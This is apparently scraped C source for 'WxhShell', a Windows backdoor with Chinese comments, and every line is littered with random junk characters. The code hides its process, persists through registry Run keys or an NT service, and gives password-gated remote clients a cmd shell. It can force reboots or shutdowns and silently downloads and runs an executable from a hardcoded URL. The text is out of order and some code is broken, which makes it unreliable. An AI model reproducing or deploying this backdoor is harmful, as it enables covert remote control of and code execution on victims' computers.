    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fT&>L  
    else { RkW)B^#  
    closesocket(wsh); %#^)hX,+Q  
    ExitThread(0); Z6Owxqfht  
    } ,2I8,MOg  
    break; c,\!<4  
    } \vU1*:3  
  // 关机 Wg3\hv29  
  case 'd': { ~S='~ g)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jZ;dY~fE  
    if(Boot(SHUTDOWN)) jw^Pt~@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wqnmK+G  
    else { 2?)bpp$WZ  
    closesocket(wsh); xq.HR_\  
    ExitThread(0); rTR4j>Ua~  
    } e!:/enQo  
    break; [^U#ic>cT  
    } %kcyE<c  
  // 获取shell D)u 9Y  
  case 's': { >*5+{~k~4  
    CmdShell(wsh); RH+'"f  
    closesocket(wsh); b.<>CG'  
    ExitThread(0); ns{BU->f  
    break; ) ag8]   
  } pX nY=  
  // 退出 #DL( %=:  
  case 'x': { oZY2K3J)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0^27grU>   
    CloseIt(wsh); Xg](V.B6  
    break; RnA>oKc  
    } (($"XOU  
  // 离开 E903T''s  
  case 'q': { {APsi7HYBr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m _0D^e7#  
    closesocket(wsh); v0ng M)^q  
    WSACleanup(); 1b6o x6  
    exit(1); ~m]sJpW<"  
    break; E27N1J+1  
        } ;U +;NsCH  
  } q66+x)  
  } ~"Pu6-\VT  
e@-"B9~   
  // 提示信息 ae)0Yu`*G7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UHtxzp =[  
} \Lz2"JI  
  } BZXP%{njS  
#b~wIOR)Z  
  return; Llf |fayq  
} (ei;Y~i  
Ew4>+o!  
// shell模块句柄 31w9$H N  
int CmdShell(SOCKET sock) NW.<v /?=,  
{ cR0RJ$[d  
STARTUPINFO si; F^ m`j6  
ZeroMemory(&si,sizeof(si)); V7zF5=w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m]bv2S+5y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WhO;4-q)2  
PROCESS_INFORMATION ProcessInfo; yAu-BObD  
char cmdline[]="cmd"; /ry# q% ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6~ *w~U  
  return 0; H$:Z`CQt<  
} VtR?/+8X  
5aF03+ko  
// 自身启动模式 ,1\nd{  
int StartFromService(void) vZdn  
{ Fb<r~2  
typedef struct FBjIft5e  
{ AC=/BU3<yc  
  DWORD ExitStatus; o@?3i+%}8  
  DWORD PebBaseAddress; d(>7BV  
  DWORD AffinityMask; mulK(mp  
  DWORD BasePriority; C] <K s  
  ULONG UniqueProcessId; VQm)32'  
  ULONG InheritedFromUniqueProcessId; C-;y#a)  
}   PROCESS_BASIC_INFORMATION; \iQD\=o  
O1@-)<_71  
PROCNTQSIP NtQueryInformationProcess; ~ caKzq  
wAr (5nEbx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?fog 34g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &CvNNDgrJ  
rf+'U9  
  HANDLE             hProcess; ~RQ6DG^  
  PROCESS_BASIC_INFORMATION pbi; }w \["r  
}lzyl*.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C043h?x  
  if(NULL == hInst ) return 0; ` Nn^   
kIAWI;H{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r h*Pl]'3z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Md \yXp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `U4R% qhWA  
Bi"7FF(z  
  if (!NtQueryInformationProcess) return 0; zN(fZT}K5  
W;]*&P[[   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dbTPY`  
  if(!hProcess) return 0; ubV|s|J  
wVvk{tS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h[D"O6 y  
(k9{&mPJ  
  CloseHandle(hProcess); SRl:+!@.  
|-N\?N9"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &zsaVm8  
if(hProcess==NULL) return 0; K2T&U$ ,  
*p;Fwj]  
HMODULE hMod; 1}e1:m]r  
char procName[255]; #zC_;u$  
unsigned long cbNeeded; K/Q^8%Z  
aOq>Ra{T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :)v4:&do  
`A@{})+  
  CloseHandle(hProcess); \UI7H1XDH  
AZ)H/#be  
if(strstr(procName,"services")) return 1; // 以服务启动 [&n2 yt  
m~%\f8w-x  
  return 0; // 注册表启动 p=U*4[9k  
} *0)vsBi  
6(4FC?Y7  
// 主模块 \ajy%$;$}  
int StartWxhshell(LPSTR lpCmdLine) ^Bw2y&nN  
{ U2=l; R{  
  SOCKET wsl; \*x]xc/^  
BOOL val=TRUE; eK\1cs  
  int port=0; [HB>\   
  struct sockaddr_in door; <d,Qi.G4  
o5gt`H"  
  if(wscfg.ws_autoins) Install(); -W(O~AK  
)s6pOxWx  
port=atoi(lpCmdLine); n?*Fr sZ  
"nX L7N0  
if(port<=0) port=wscfg.ws_port; l~,5)*T  
$LLkYOwI  
  WSADATA data; A-\OB Nh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nwh7DU i  
?yfk d:WD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gF;i3OJg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n7`R+4/s  
  door.sin_family = AF_INET; !es?GJq`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M]YK]VyG  
  door.sin_port = htons(port); Z@fMU2e=Z  
u1F@VV{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jg=[!j0(  
closesocket(wsl); q"OvuHBSOn  
return 1; [psW+3{bG  
} w-l:* EV8  
yTWP1  
  if(listen(wsl,2) == INVALID_SOCKET) { c%_I|h<?iT  
closesocket(wsl); UD`bK a`E  
return 1; RiC1lCE  
} LutP&Ebt8  
  Wxhshell(wsl); 4S>A}rWz  
  WSACleanup(); _p/ _t76s  
V|3}~(5=  
return 0; !6hUTjhW7z  
O,"4HZG  
} ( /{Wu:e  
hER]%)#r  
// 以NT服务方式启动 p9k' .H^:_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I/D (gY06<  
{ H(U`S  
DWORD   status = 0; 4(>|f_$  
  DWORD   specificError = 0xfffffff; K^j7T[pR  
%EA|2O.D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s(W]>Ib  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '+LbFGrO3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ca/AScL  
  serviceStatus.dwWin32ExitCode     = 0; BwwOaO@L  
  serviceStatus.dwServiceSpecificExitCode = 0; T)J=lw  
  serviceStatus.dwCheckPoint       = 0; !L4Vz7 C  
  serviceStatus.dwWaitHint       = 0; [F4] pR(  
fQcJyX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m[6?v;w  
  if (hServiceStatusHandle==0) return; S%zn {1F  
T9.3  
status = GetLastError(); $eUI.j(HU  
  if (status!=NO_ERROR) c8!q_H~  
{ T:&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {/SUfXq  
    serviceStatus.dwCheckPoint       = 0; 5[3vu p?  
    serviceStatus.dwWaitHint       = 0; a"gZw9m@  
    serviceStatus.dwWin32ExitCode     = status; R&Y+x;({  
    serviceStatus.dwServiceSpecificExitCode = specificError; . _j9^Ll  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k@MAi*  
    return; C&Rv$<qc  
  } T$[50~  
w.w(*5[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y/57 >.3  
  serviceStatus.dwCheckPoint       = 0; I;xrw?=\L  
  serviceStatus.dwWaitHint       = 0; c \cPmj@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o NX-vN-  
} 2fIHFo\8  
/<7'[x<  
// 处理NT服务事件,比如:启动、停止 ?7>G\0G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KITC,@xE_O  
{ )Y.H*ca  
switch(fdwControl) [w&B>z=g$  
{ .} al s  
case SERVICE_CONTROL_STOP: +?r,Nn  
  serviceStatus.dwWin32ExitCode = 0; PhTMXv<cE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w1tWyKq  
  serviceStatus.dwCheckPoint   = 0; 6U|An*  
  serviceStatus.dwWaitHint     = 0; T%|{Qo<j  
  { IiW*'0H:/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~n9x ,  
  } Aw#@}TGT  
  return; c'#w 8 V  
case SERVICE_CONTROL_PAUSE: }ZaZPB/_}P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /BEE.`6yI5  
  break; -JgN$Sf  
case SERVICE_CONTROL_CONTINUE: <y4hK3wP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oPP`)b$x  
  break; G`1!SEae  
case SERVICE_CONTROL_INTERROGATE: 66ULR&D8  
  break; PM ]|S`  
}; WbF[4 x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a`/\0~  
} >Pa&f20Hp  
IZ?+c@t  
// 标准应用程序主函数 j{QzD^t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) miWog8j  
{ {v CB$@/o  
;1x(~pD*o  
// 获取操作系统版本 =+>cTV  
OsIsNt=GetOsVer(); .8[*`%K>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tZ|0wPp  
)wT @`p"4  
  // 从命令行安装 n{'LF #4l  
  if(strpbrk(lpCmdLine,"iI")) Install(); d2'1 6.lV  
nh"8on]M~  
  // 下载执行文件 Klr+\R@(n  
if(wscfg.ws_downexe) { #R^^XG`1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T,G38  
  WinExec(wscfg.ws_filenam,SW_HIDE); )>-94xx|  
} D1G9^7:^E  
wz[Xay9jW  
if(!OsIsNt) { rnNB!T   
// 如果时win9x,隐藏进程并且设置为注册表启动 4v[Zhf4JM  
HideProc(); z[vHMJ 0  
StartWxhshell(lpCmdLine); +"P!es\q  
} Rda~Drz  
else pAdx 6  
  if(StartFromService()) ULT,>S6r  
  // 以服务方式启动 t[=-4;  
  StartServiceCtrlDispatcher(DispatchTable); ^&[Z@*A8#  
else dMw7UJ  
  // 普通方式启动 Ec2?'*s   
  StartWxhshell(lpCmdLine); :X+!W_xR  
 (zIWJJw  
return 0; 1s\   
} qnO>F^itF  
r2b_$  
o57r ,`N  
pDYcsC{p  
=========================================== rf\/Y"D  
I \Luw*:  
.I h'&  
n^[VN[ VC  
X}f u $2  
%p; 'l  
" `J l/@bE=  
PNgdWf3  
#include <stdio.h> 1\u{1 V  
#include <string.h> A WS[e$Mt2  
#include <windows.h> QZZt9rA;  
#include <winsock2.h> 5Z]]xR[  
#include <winsvc.h> \bXusLI!l  
#include <urlmon.h> (JX 9c  
/^M|$JRI  
#pragma comment (lib, "Ws2_32.lib") {e]ktj#+{  
#pragma comment (lib, "urlmon.lib") @sPuc.  
%M7EOa  
#define MAX_USER   100 // 最大客户端连接数 woyn6Z1JQ  
#define BUF_SOCK   200 // sock buffer ORDVyb_x  
#define KEY_BUFF   255 // 输入 buffer *xV  
9YQYg@+R  
#define REBOOT     0   // 重启 x?6 \C-i  
#define SHUTDOWN   1   // 关机 br3r!Vuz/-  
fVvB8[(;~  
#define DEF_PORT   5000 // 监听端口 +{b3A@f|F  
]yAOKmS  
#define REG_LEN     16   // 注册表键长度 ,v@C=4'm  
#define SVC_LEN     80   // NT服务名长度 P9yg  
n=iL6Yu(  
// 从dll定义API =zsA@UM0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EK 8rV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k1_" }B5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N+nv#]{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -\I".8"YE  
2~B9 (|  
// wxhshell配置信息 VKb=)v[K  
struct WSCFG { !kQJ6U  
  int ws_port;         // 监听端口 #E;a ;$p  
  char ws_passstr[REG_LEN]; // 口令 :k/Z|  
  int ws_autoins;       // 安装标记, 1=yes 0=no s2kom)  
  char ws_regname[REG_LEN]; // 注册表键名 :ceT8-PBRx  
  char ws_svcname[REG_LEN]; // 服务名 Va-.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1e)5D& njS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `:*O8h~i^8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E``\Jre@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q]\GBRp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0\KDa$ '1k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &6O0h0Vy  
\Y$@$)   
}; D:=Q)Uh0I  
^&!iqK2o  
// default Wxhshell configuration /cC4K\M  
struct WSCFG wscfg={DEF_PORT, N= G!r  
    "xuhuanlingzhe", qA>C<NL  
    1, ?' /#Gt`  
    "Wxhshell", M{)|9F  
    "Wxhshell", Dd' 4W  
            "WxhShell Service", lU8X{SV!  
    "Wrsky Windows CmdShell Service", Aa!#=V1d  
    "Please Input Your Password: ", .T*89cEu  
  1, j 21>\K!p  
  "http://www.wrsky.com/wxhshell.exe", a0)]W%F  
  "Wxhshell.exe" LB\+*P6QM  
    }; ;=lQMKx0  
DP6>fzsl  
// 消息定义模块 s$ZKd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; shuoEeoo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r"$~Gg.%(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kJNu2S  
char *msg_ws_ext="\n\rExit."; c.{t +OR  
char *msg_ws_end="\n\rQuit."; j|w_BO 9  
char *msg_ws_boot="\n\rReboot..."; fqm-?vy}  
char *msg_ws_poff="\n\rShutdown..."; *5z"Xy3J  
char *msg_ws_down="\n\rSave to "; K06x7W  
As+^6  
char *msg_ws_err="\n\rErr!"; @p [ml m  
char *msg_ws_ok="\n\rOK!"; X*< !_3  
COFCa&m9c  
char ExeFile[MAX_PATH]; r 3FUddF'  
int nUser = 0; B#, TdP]/  
HANDLE handles[MAX_USER]; EY}*}-3  
int OsIsNt;  CT[CM+  
JWV n@)s  
SERVICE_STATUS       serviceStatus; |0$7{nQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `7 3I}%?  
hwi$:[  
// 函数声明 xz*MFoE  
int Install(void); nq 9{{oe  
int Uninstall(void); E6+ 6  
int DownloadFile(char *sURL, SOCKET wsh); Xu%8Q?]  
int Boot(int flag); a+ s%9l  
void HideProc(void); $^5c8wT  
int GetOsVer(void); bOdQ+Y6  
int Wxhshell(SOCKET wsl); RN ~pC  
void TalkWithClient(void *cs); ppR; v  
int CmdShell(SOCKET sock); L8~zQV$h  
int StartFromService(void); b@ OF  
int StartWxhshell(LPSTR lpCmdLine); bF c %  
ve*m\DU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); & d@N3y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [;$9s=:[  
@,;VMO  
// 数据结构和表定义 KvNw'3Ua  
SERVICE_TABLE_ENTRY DispatchTable[] = i'MpS  
{ H|s,;1#  
{wscfg.ws_svcname, NTServiceMain}, 5 NN`tv  
{NULL, NULL} eD)@:K  
}; :$^cY>o  
c3!YA"5  
// 自我安装 r#\Lq;+-B  
int Install(void) =q<t,UP8  
{ ^ Q  
  char svExeFile[MAX_PATH]; #sb@)Q  
  HKEY key; 6I-Qq?L[H  
  strcpy(svExeFile,ExeFile); {33B%5n"  
UO}Yr8Z;  
// 如果是win9x系统,修改注册表设为自启动 Q+zy\T  
if(!OsIsNt) { VskdC?yIp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~!#2s'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <]'1YDA  
  RegCloseKey(key); u69fYoB'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gh<2i\})'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jPmp=qg"q  
  RegCloseKey(key); 0/fA>%&  
  return 0; *x@.$=NF"  
    } XpT+xv1`;  
  } eK =v<X  
} j!/=w q  
else { ;bYLQ  
a=AP*adx8  
// 如果是NT以上系统,安装为系统服务 `c'R42S A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P|rreSv*  
if (schSCManager!=0) *B%ulsm  
{ v 0D@`C  
  SC_HANDLE schService = CreateService 9IJc9Sv(  
  ( 9e0t  
  schSCManager, ?;ovh nY)  
  wscfg.ws_svcname, 4rH:`494  
  wscfg.ws_svcdisp, F+285JK  
  SERVICE_ALL_ACCESS, U^d!*9R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =m/BH^|&W  
  SERVICE_AUTO_START, [f#7~  
  SERVICE_ERROR_NORMAL, (x1 #_~  
  svExeFile, hs?cV)hDS  
  NULL, ITf4PxF  
  NULL, %^}|HG*i??  
  NULL, ^-dhz88wV  
  NULL, /5j]laYK)  
  NULL !xz{X?  
  ); /(?,S{]  
  if (schService!=0) u$nYddak  
  { ^ SW!S_&Z2  
  CloseServiceHandle(schService); +a74] H"  
  CloseServiceHandle(schSCManager); *s (L!+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O[\obi"}  
  strcat(svExeFile,wscfg.ws_svcname); ;]Ko7M(4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;\rKkH"K8n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {:ZsUnzm  
  RegCloseKey(key); OJXK]dZ  
  return 0; ySNXjH Q=  
    } cp L'  
  } ]Aa.=  
  CloseServiceHandle(schSCManager); w ?"s6L3  
} <gjA(xT5  
} v|GDPq  
2_ CJV  
return 1; y9X1X{  
} ?vV&tqnx%  
^8{:RiN6e~  
// 自我卸载 i~uoK7o|G  
int Uninstall(void) xv~E wT)  
{ 0` UrB:  
  HKEY key; DW0UcLO  
DRmN+2I  
if(!OsIsNt) { 1LonYAHF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iU"{8K,  
  RegDeleteValue(key,wscfg.ws_regname); %-#rzeaW  
  RegCloseKey(key); f]DO2 r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $uCY\ xqZ  
  RegDeleteValue(key,wscfg.ws_regname); Nj$h/P  
  RegCloseKey(key); >NAg*1  
  return 0; /4Jm]"  
  } N2\{h(*u  
} nW!pOTJq21  
} &ngG_y8}&  
else { M}qrF~   
d D;r35h=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :y3e-lr  
if (schSCManager!=0) o 76QQ+hP  
{ OE5JA8/H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [hXnw'Im/  
  if (schService!=0) )=6o  ,  
  { K&UTs$_cI  
  if(DeleteService(schService)!=0) { uYAMW{AT  
  CloseServiceHandle(schService); I9g!#lbl  
  CloseServiceHandle(schSCManager); 8 CCA}lOG  
  return 0; v)-:0 f  
  } y4`uU1=  
  CloseServiceHandle(schService); )~=g}&  
  } N^xk.O_TO  
  CloseServiceHandle(schSCManager); ,,CheRO  
} &b!|Y  
} B| .8+Q  
=`KV),\  
return 1; G_)(?  
} $\vTiS'  
^eY% T5K   
// 从指定url下载文件 ;/)u/[KAv  
int DownloadFile(char *sURL, SOCKET wsh)  Mt   
{ y3Lq"?h  
  HRESULT hr;  ];hK5  
char seps[]= "/"; [zc8f  
char *token; V jZx{1kCR  
char *file; 8bW,.to(?x  
char myURL[MAX_PATH]; P#N@W_""YD  
char myFILE[MAX_PATH]; P=PVOt@ b  
VY_<c98v  
strcpy(myURL,sURL); 82A[[^`  
  token=strtok(myURL,seps); RZ GD5`n  
  while(token!=NULL) $x|4cW2  
  { CvB)+>oa  
    file=token; X@up=%(  
  token=strtok(NULL,seps); I>(-&YbC  
  } O cJ(i#Q~<  
Ry4`Q$=:  
GetCurrentDirectory(MAX_PATH,myFILE); tk~<tqMq  
strcat(myFILE, "\\"); PYJ8\XZ1_N  
strcat(myFILE, file); 5`O af\S  
  send(wsh,myFILE,strlen(myFILE),0); v]e6CZwo  
send(wsh,"...",3,0); n s`njx}C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m8C scC Z}  
  if(hr==S_OK) ^:64(7  
return 0; sB'Z9  
else &#DKB#.2  
return 1; PR;A 0   
)]P%=  
} 4}MZB*);0  
2%gLq  
// 系统电源模块  <6[P5>  
int Boot(int flag) ?0VETa ~m  
{ ~$:=hT1  
  HANDLE hToken; qe_59'K  
  TOKEN_PRIVILEGES tkp; <WGx 6{  
{3R?<ET]mt  
  if(OsIsNt) { ED=P  6u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -9@/S$i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3_cZaru  
    tkp.PrivilegeCount = 1; ra>jVE0 `  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?TEdGe\*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3 V{&o,6  
if(flag==REBOOT) {  ~N=$%C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t?6_^ 08  
  return 0; 6gN>P%n  
} i.Jk(%c  
else { `vj"HhC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z3 Ro*yJU  
  return 0; <Q|(dFr`v  
} 5Ff1x-lQ  
  } v dR6y  
  else { '>0rp\jC  
if(flag==REBOOT) { V1!;Hvm]+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c</u]TD  
  return 0; 'X{J~fEI!  
} O0cKmh6=  
else { t) h{ w"v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Ept yH  
  return 0; cO^}A(Ma(  
} 2pn8PQfg)  
} vivU4:uH3  
;"j>k>tg  
return 1; _7qGo7bpN  
} DP<[Uz&  
ts=KAdcJ  
// win9x进程隐藏模块 A57e]2_  
void HideProc(void) DC6xet{  
{ >p,FAz>  
W\l"_^d*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f )K(la^'  
  if ( hKernel != NULL ) Mw9;O6  
  { |(6H)S]$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ! :XMP*g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6<N Q/*(/  
    FreeLibrary(hKernel); (TQhO$,  
  } C#Y_La  
u~VvGLFf5,  
return; c"x-_Uk  
} 8 DE%ot  
s%p,cz; ,  
// 获取操作系统版本 Q\k|pg?  
int GetOsVer(void) p:@JCsH=  
{ #V:28[  
  OSVERSIONINFO winfo; sUEvL( %nY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QGI_aU  
  GetVersionEx(&winfo); U9:w^t[Pp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vh">Z4  
  return 1; :L'U>)k  
  else Y,;$RV@g  
  return 0; #k*P/I~  
} xY,W[?3CY  
x;L.j7lzA;  
// 客户端句柄模块 'hn=X7  
int Wxhshell(SOCKET wsl) @+ee0 CLT  
{ NiPa-yRh  
  SOCKET wsh; z=/xv},  
  struct sockaddr_in client; '<eeCe-  
  DWORD myID; $Z!7@_Ys  
L4?)N&V  
  while(nUser<MAX_USER) C^W9=OH  
{ lX*IEAc  
  int nSize=sizeof(client); o6LZ05Z-&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0X'2d  
  if(wsh==INVALID_SOCKET) return 1; e+ckn   
pg:1AAhT[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ="=Aac#n`  
if(handles[nUser]==0) vx&r  
  closesocket(wsh); @& vtY._  
else 2^.qKY@g@  
  nUser++; ZN]LJ4|xu  
  } @ %}4R`S0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1deNrmp%  
?}D|]i34  
  return 0; 1y)|m63&  
} >nA6w$  
@+(TM5Ub  
// 关闭 socket Ebk_(Py\  
void CloseIt(SOCKET wsh) 5l ioL)  
{ P.Uz[_&l6  
closesocket(wsh); g k.c"$2  
nUser--; \Rff3$  
ExitThread(0); 0>KW94  
} asQXl#4r  
@ a?^2X^  
// 客户端请求句柄 FPB O=?H.  
void TalkWithClient(void *cs) 0-!K@#$>=  
{ se:lKZZ]  
=|_{J"sv  
  SOCKET wsh=(SOCKET)cs; *#n?6KqZ  
  char pwd[SVC_LEN]; wf[B-2q)  
  char cmd[KEY_BUFF]; 8H})Dq%d7  
char chr[1]; sVjM^y24  
int i,j; (" ,(@nS  
Oi~ ]~+2  
  while (nUser < MAX_USER) { z%cpV{Nu  
RV2s@<0p  
if(wscfg.ws_passstr) { vUa&9Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5`?'}_[Yj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hve'Z,X  
  //ZeroMemory(pwd,KEY_BUFF); i& ,Wg8#R  
      i=0; +dIO+(&g  
  while(i<SVC_LEN) { 0M^v%2 2  
xct{Tv[FO  
  // 设置超时 y:>'1"2`  
  fd_set FdRead; @! gJOy  
  struct timeval TimeOut; >,V~-Tp  
  FD_ZERO(&FdRead); K4V\Jj1l  
  FD_SET(wsh,&FdRead); f 4Yn=D=_  
  TimeOut.tv_sec=8; Q#} 0pq  
  TimeOut.tv_usec=0; Cb5Rr +K=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6zfi\(fop  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )`sEdVxbr  
L9G xqw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OE=]/([  
  pwd=chr[0]; D$wl.r  
  if(chr[0]==0xd || chr[0]==0xa) { $&!i3#FF  
  pwd=0; :XP/`%:  
  break; \ $PB~-Z  
  } @D3Y}nR:  
  i++; `- \J/I  
    } 37S  bF,G  
+v7mw<6s  
  // 如果是非法用户,关闭 socket fA k]]PU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #_b U/rk)*  
} ? V0!N;  
y]veqa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (<"uV%1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S3G9/  
\9%SR~  
while(1) { &H`AS6  
>)&]Ss5J  
  ZeroMemory(cmd,KEY_BUFF); TI9]v(  
Hlr[x  
      // 自动支持客户端 telnet标准   Id/-u[-yo  
  j=0; s?irT;=  
  while(j<KEY_BUFF) { ?C[W~m P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g{_wMf  
  cmd[j]=chr[0]; ]&dU%9S  
  if(chr[0]==0xa || chr[0]==0xd) { (zO)J`z>  
  cmd[j]=0; ~KW|<n4m  
  break; k\qF> =  
  } Br,^4w[Hq  
  j++; e;kH,fHUI3  
    } :&{:$-h!  
4zRz U  
  // 下载文件 i`Tp +e@a>  
  if(strstr(cmd,"http://")) { w'/ Mn+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ][jW2;A  
  if(DownloadFile(cmd,wsh)) '>wr _ f  
